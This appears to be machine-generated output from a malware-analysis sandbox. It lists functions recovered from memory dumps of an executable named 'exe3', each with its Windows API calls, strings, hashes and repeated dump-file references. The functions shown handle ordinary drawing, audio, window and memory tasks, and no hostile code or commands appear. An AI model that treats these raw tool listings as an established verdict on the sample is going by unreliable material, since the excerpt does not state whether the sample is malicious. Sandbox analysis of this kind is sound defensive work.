Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: MessageSend$wsprintf$ProfileString
String ID: ,,,$device$devices$none$windows
API String ID: 2373861888-528626633
Opcode ID: 95dc3780ed1e5bad6e336d8000130835e4d42eb2ba0e32bbead966cdca2d88cd
Instruction ID: acde403b7494e8c1528d11c31c02aa1fa962eff342523b61b74b64fb89a5c2b3
Opcode Fuzzy Hash: 95dc3780ed1e5bad6e336d8000130835e4d42eb2ba0e32bbead966cdca2d88cd
Instruction Fuzzy Hash: 4DC10571240705ABC620DB75CC82FEB73E8AB94745F000D1EBA5A971C1DE78FA49CB69

Function 00461570 Relevance: 33.5, APIs: 22, Instructions: 452COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000010), ref: 004615F8

Part of subcall function 004B2C20: SetBkColor.GDI32(?,?), ref: 004B2C2F
Part of subcall function 004B2C20: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 004B2C61

GetSysColor.USER32(00000014), ref: 00461630
InflateRect.USER32(?,000000FF,000000FF), ref: 00461662
GetSysColor.USER32(00000016), ref: 0046167B
GetSysColor.USER32(0000000F), ref: 0046168B
DrawEdge.USER32(?,?,00000002,0000000F), ref: 004616C4
GetSysColor.USER32(00000014), ref: 00461909
GetSysColor.USER32(0000000F), ref: 0046191B
GetSysColor.USER32(0000000F), ref: 004615D1

Part of subcall function 004B2BF6: SetBkColor.GDI32(?,?), ref: 004B2C00
Part of subcall function 004B2BF6: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 004B2C16

GetSysColor.USER32(0000000F), ref: 00461728
InflateRect.USER32(?,000000FF,000000FF), ref: 00461761
GetSysColor.USER32(00000016), ref: 00461776
GetSysColor.USER32(0000000F), ref: 00461782
InflateRect.USER32(?,?,?), ref: 004617C3
GetSysColor.USER32(00000010), ref: 004617C7
Rectangle.GDI32(?,?,?,?,?), ref: 0046180E
DrawEdge.USER32(?,?,00000002,0000000F), ref: 00461849
DrawEdge.USER32(?,?,00000002,0000000F), ref: 00461950
GetSysColor.USER32(00000010), ref: 004619AD
CreatePen.GDI32(00000000,00000001,00000000), ref: 004619B4
InflateRect.USER32(?,?,?), ref: 004619F3
Rectangle.GDI32(?,?,?,?,?), ref: 00461A11

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Color$InflateRect$DrawEdge$RectangleText$Create
String ID:
API String ID: 85069867-0
Opcode ID: dd380cd712e52782dfc33b10e1e9e6771774c8a4d03a4c7672715ab4e02cabad
Instruction ID: 3e5c9f68b9126b29cf0443a44204cb83a1b061c6b4e8445370c4b45ff8522692
Opcode Fuzzy Hash: dd380cd712e52782dfc33b10e1e9e6771774c8a4d03a4c7672715ab4e02cabad
Instruction Fuzzy Hash: 56F15971208301AFD714DF64C885E6BB7E9BF88704F144A2EF65687291EBB4EC05CB66

Function 00456A20 Relevance: 31.7, APIs: 21, Instructions: 205COMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000022B8), ref: 00456A35
RtlEnterCriticalSection.NTDLL(?), ref: 00456A58
RtlLeaveCriticalSection.NTDLL(?), ref: 00456A66
waveOutUnprepareHeader.WINMM(?,?,00000020), ref: 00456A88
waveOutPrepareHeader.WINMM(?,?,00000020), ref: 00456AD1
waveOutWrite.WINMM(?,?,00000020), ref: 00456ADE
RtlEnterCriticalSection.NTDLL(?), ref: 00456AE8
RtlLeaveCriticalSection.NTDLL(?), ref: 00456AF6
RtlEnterCriticalSection.NTDLL(?), ref: 00456B25
ReleaseSemaphore.KERNEL32(?,00000014,00000000), ref: 00456B43
RtlLeaveCriticalSection.NTDLL(?), ref: 00456B4A
waveOutPause.WINMM(?), ref: 00456B59
waveOutReset.WINMM(?), ref: 00456B63
waveOutUnprepareHeader.WINMM(?,00000000,00000020), ref: 00456B81
waveOutUnprepareHeader.WINMM(?,?,00000020), ref: 00456BA6
RtlEnterCriticalSection.NTDLL(00CD8540), ref: 00456BBC
RtlLeaveCriticalSection.NTDLL(00CD8540), ref: 00456C18
CloseHandle.KERNEL32(?), ref: 00456C46
CloseHandle.KERNEL32(?), ref: 00456C4C
CloseHandle.KERNEL32(?), ref: 00456C52
RtlDeleteCriticalSection.NTDLL(?), ref: 00456C58

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CriticalSection$wave$EnterHeaderLeave$CloseHandleUnprepare$DeleteMultipleObjectsPausePrepareReleaseResetSemaphoreWaitWrite
String ID:
API String ID: 361331667-0
Opcode ID: 94a758ce3b370fd9e57bb7a4181d69ab8290f5572befcbd39521442460330ebb
Instruction ID: e3f5bfaf9e16b96bd24e0c1b1f8a448186a3142d26233b82a8e62dce35af5f82
Opcode Fuzzy Hash: 94a758ce3b370fd9e57bb7a4181d69ab8290f5572befcbd39521442460330ebb
Instruction Fuzzy Hash: F871A175600219ABDB14CF68DC88AAE3BA8FF49705F45862AFE05D7352C738ED05CB94

Function 004260F0 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 384windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004B0AAB: __EH_prolog.LIBCMT ref: 004B0AB0
Part of subcall function 004B0AAB: BeginPaint.USER32(?,?,?,?,00424FE9), ref: 004B0AD9

Part of subcall function 004B065C: GetClipBox.GDI32(?,?), ref: 004B0663

IsRectEmpty.USER32(?), ref: 00426135
GetCurrentObject.GDI32(?,00000002), ref: 0042617A
GetCurrentObject.GDI32(?,00000001), ref: 0042618D
GetClientRect.USER32 ref: 00426212
CreatePen.GDI32(-00000003,00000000,?), ref: 0042622E
PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 004262F2

Part of subcall function 004B0B1D: __EH_prolog.LIBCMT ref: 004B0B22
Part of subcall function 004B0B1D: EndPaint.USER32(?,?,?,?,00425063), ref: 004B0B3F

Strings

gfff, xrefs: 00426462

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CurrentH_prologObjectPaintRect$BeginClientClipCreateEmpty
String ID: gfff
API String ID: 3506841274-1553575800
Opcode ID: 791da348193dfe79c2acaa2a2a9e76332a109ce6504ee993a6aa411a7bf74767
Instruction ID: c03fa86f9b4476601f4c77c863d7eff4ac483f6886b7e92271ab4b25d1f58473
Opcode Fuzzy Hash: 791da348193dfe79c2acaa2a2a9e76332a109ce6504ee993a6aa411a7bf74767
Instruction Fuzzy Hash: 91E18DB12083509FC718DF58D884EAFB7E9FB88714F504A1EF59587281DB38E909CB66

Function 00434DE0 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 245COMMON

Download Yara Rule

APIs

SetWindowRgn.USER32(?,00000000,00000001), ref: 00434E11
GetWindowRect.USER32(?,?), ref: 00434E3E
BeginPath.GDI32(?), ref: 00434EC7
MulDiv.KERNEL32(7FFF0000,?,00007FFF), ref: 00434EE0
MulDiv.KERNEL32(00000000,?,00007FFF), ref: 00434EEF
MulDiv.KERNEL32(3FFF0000,?,00007FFF), ref: 00434F17
MulDiv.KERNEL32(00000000,?,00007FFF), ref: 00434F26
EndPath.GDI32(?), ref: 00434F41
PathToRegion.GDI32(?), ref: 00434F4C

Strings

gfff, xrefs: 0043500A
gfff, xrefs: 0043501A

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Path$Window$BeginRectRegion
String ID: gfff$gfff
API String ID: 3989698161-3084402119
Opcode ID: 6f74087da64eaafa774dd20d6dbe6f75eefa26456aa9fe27f327736b05616b2a
Instruction ID: 392f99bcd654a09b6c6559f68e02373fbd005e095c67ac386be905f24cf05b7b
Opcode Fuzzy Hash: 6f74087da64eaafa774dd20d6dbe6f75eefa26456aa9fe27f327736b05616b2a
Instruction Fuzzy Hash: 5E81C8715087419BD718DF29CC85E6BB7E8FBD8304F044A2EF58683391DA38AC05CB66

Function 004AD889 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 174windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004AE1EB: GetWindowLongA.USER32(?,000000F0), ref: 004AE1F7

GetParent.USER32(?), ref: 004AD8B4
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 004AD8D7
GetWindowRect.USER32(?,?), ref: 004AD8F0
GetWindowLongA.USER32(00000000,000000F0), ref: 004AD903
CopyRect.USER32(?,?), ref: 004AD950
CopyRect.USER32(?,?), ref: 004AD95A
GetWindowRect.USER32(00000000,?), ref: 004AD963
CopyRect.USER32(?,?), ref: 004AD97F

Strings

(, xrefs: 004AD91B
@, xrefs: 004AD8F2

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID: ($@
API String ID: 808654186-1311469180
Opcode ID: 1e8061b2c42fc14f52cdf4198b445e54acb43d6788e1c95ad5b1be21ffb9c25b
Instruction ID: ae62770e17e4bbbaf945b37b7dc5aa7589973a55797a66f2ffe0eb27754249db
Opcode Fuzzy Hash: 1e8061b2c42fc14f52cdf4198b445e54acb43d6788e1c95ad5b1be21ffb9c25b
Instruction Fuzzy Hash: 01516272D00219ABDF10DFA8DC85AEF7BBDAF59314F15412AE512F3290DA38ED058B58

Function 00498942 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(USER32,?,?,?,00498A7B), ref: 00498964
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 0049897C
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0049898D
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 0049899E
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 004989AF
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 004989C0
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 004989D1

Strings

MonitorFromPoint, xrefs: 004989A9
USER32, xrefs: 0049895F
MonitorFromRect, xrefs: 00498998
GetSystemMetrics, xrefs: 00498976
MonitorFromWindow, xrefs: 00498987
GetMonitorInfoA, xrefs: 004989CB
EnumDisplayMonitors, xrefs: 004989BA

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-2376520503
Opcode ID: 802650745445a93c94817f66baa734ea1e78b5928a75e9e16fe4a7fcd7dacf90
Instruction ID: 7b753573c1b452ea10b17076d4ce24f9e1bbc4cc10c93fc1a74c70c483df6f01
Opcode Fuzzy Hash: 802650745445a93c94817f66baa734ea1e78b5928a75e9e16fe4a7fcd7dacf90
Instruction Fuzzy Hash: 3F114FB0A022159B8F219F39ACC573EBFE0F649780312443FD00CE2261EBB95B81DA57

Function 00596029 Relevance: 24.4, APIs: 16, Instructions: 419COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00596050
_free.LIBCMT ref: 005960BB
_free.LIBCMT ref: 005960E1
_free.LIBCMT ref: 0059610A
_free.LIBCMT ref: 00596142
_free.LIBCMT ref: 00596173
_free.LIBCMT ref: 005961B4
_free.LIBCMT ref: 0059624E
_wcschr.LIBVCRUNTIME ref: 0059628B
_free.LIBCMT ref: 005962F7
_free.LIBCMT ref: 0059631D
_free.LIBCMT ref: 00596346
_free.LIBCMT ref: 0059637B
_free.LIBCMT ref: 005963AC
_free.LIBCMT ref: 005963ED
_free.LIBCMT ref: 0059648B

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr_wcschr
String ID:
API String ID: 1963305004-0
Opcode ID: 1d1da81019fe690b53cf1f869db1448a304e1bc801bb097e83ab857158732be8
Instruction ID: 5e8a7666a6f0173565f7fc8f4e8bd05a2fb1c7e5dd83ca2584a7a2aeb64cdea2
Opcode Fuzzy Hash: 1d1da81019fe690b53cf1f869db1448a304e1bc801bb097e83ab857158732be8
Instruction Fuzzy Hash: 51D13671D04306AFDF25AF74888AA6A7FA4FF05364F14467DFD45A7282FB3189088B90

Function 004351C0 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 354COMMON

Download Yara Rule

APIs

CreateRectRgn.GDI32(?,?,?,?), ref: 0043520E
GetClientRect.USER32(?,?), ref: 004352A9
CreateRectRgn.GDI32 ref: 0043531A
CombineRgn.GDI32(?,?,00BD56FC,00000004), ref: 0043534B
SetRect.USER32(?,00000000,?,?,?), ref: 004353A2
IntersectRect.USER32(?,?,?), ref: 004353AF
IsRectEmpty.USER32(?), ref: 004353DA
__ftol.LIBCMT ref: 004354B8
__ftol.LIBCMT ref: 004354C5
CreateRectRgn.GDI32(00000000,?,00000000,00000000), ref: 0043551E
CombineRgn.GDI32(?,?,00BD56FC,00000004), ref: 0043554F

Part of subcall function 0043F6D0: SetStretchBltMode.GDI32(?,00000000), ref: 0043F6E4
Part of subcall function 0043F6D0: GetObjectA.GDI32(?,00000018,?), ref: 0043F7C2

FillRgn.GDI32(?,?,00000000), ref: 004355CC

Strings

ETERMINATOR, xrefs: 004352E3, 004353E4, 004354EB, 00435621

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Rect$Create$Combine__ftol$ClientEmptyFillIntersectModeObjectStretch
String ID: ETERMINATOR
API String ID: 2054119908-2947605395
Opcode ID: ac50e74a2ea8b8db585c24e615c3496a4418e499eacfa232c009ab2bee8fe006
Instruction ID: b5cc967c2ccbeafe55ede70b27437a95d88f3c1bc5ba58330391837045504e6f
Opcode Fuzzy Hash: ac50e74a2ea8b8db585c24e615c3496a4418e499eacfa232c009ab2bee8fe006
Instruction Fuzzy Hash: 3BD19BB1508741AFC714CF29C885A6FBBE8FBD8304F148A2EF89583255D734E905CB66

Function 0043CEB0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

GetStockObject.GDI32(0000000F), ref: 0043CF04
GetObjectA.GDI32(?,00000018,?), ref: 0043CF17
GlobalAlloc.KERNEL32(00000002,00000028), ref: 0043CF86
GlobalFix.KERNEL32(00000000), ref: 0043CFA4
GetDIBits.GDI32(?,?,00000000,?,00000000,00000000,00000000), ref: 0043CFD3
GlobalUnWire.KERNEL32(00000000), ref: 0043D029
GlobalReAlloc.KERNEL32(00000000,?,00000002), ref: 0043D032
GlobalFix.KERNEL32(00000000), ref: 0043D03F
GetDIBits.GDI32(?,?,00000000,?,00000000,00000000,00000000), ref: 0043D062
GlobalUnWire.KERNEL32(00000000), ref: 0043D07C
GlobalFree.KERNEL32(00000000), ref: 0043D083

Part of subcall function 004B09B5: __EH_prolog.LIBCMT ref: 004B09BA

Strings

(, xrefs: 0043CF2A

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Global$AllocBitsObjectWire$FreeH_prologStock
String ID: (
API String ID: 1902819324-3887548279
Opcode ID: a0dda603cf6391b3e6ca35bc4c1c4fe300f408193e1bf418aa5b29f992b5027c
Instruction ID: 94be0b7ea6d0e34ab5fa7fcf2f4194f759cd8eb23d256df8194dcf8d9a5cefcc
Opcode Fuzzy Hash: a0dda603cf6391b3e6ca35bc4c1c4fe300f408193e1bf418aa5b29f992b5027c
Instruction Fuzzy Hash: 23616BB29047519BD324DF58DC44B5BB7E8FB88B10F104A2DFA8597290C774EC05CBA6

Function 004A86EE Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 119registryclipboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 004B3A7F: TlsGetValue.KERNEL32(00CF993C,00000000,?,004AA565,004B2DFB,?,004208C0), ref: 004B3ABE

RegisterClipboardFormatA.USER32(commdlg_LBSelChangedNotify), ref: 004A8746
RegisterClipboardFormatA.USER32(commdlg_ShareViolation), ref: 004A8752
RegisterClipboardFormatA.USER32(commdlg_FileNameOK), ref: 004A875E
RegisterClipboardFormatA.USER32(commdlg_ColorOK), ref: 004A876A
RegisterClipboardFormatA.USER32(commdlg_help), ref: 004A8776
RegisterClipboardFormatA.USER32(commdlg_SetRGBColor), ref: 004A8782

Part of subcall function 004AE0A8: SetWindowLongA.USER32(?,000000FC,00000000), ref: 004AE0D7

SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 004A8875

Strings

commdlg_ShareViolation, xrefs: 004A8748
commdlg_SetRGBColor, xrefs: 004A8778
commdlg_LBSelChangedNotify, xrefs: 004A8741
commdlg_ColorOK, xrefs: 004A8760
commdlg_FileNameOK, xrefs: 004A8754
commdlg_help, xrefs: 004A876C

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
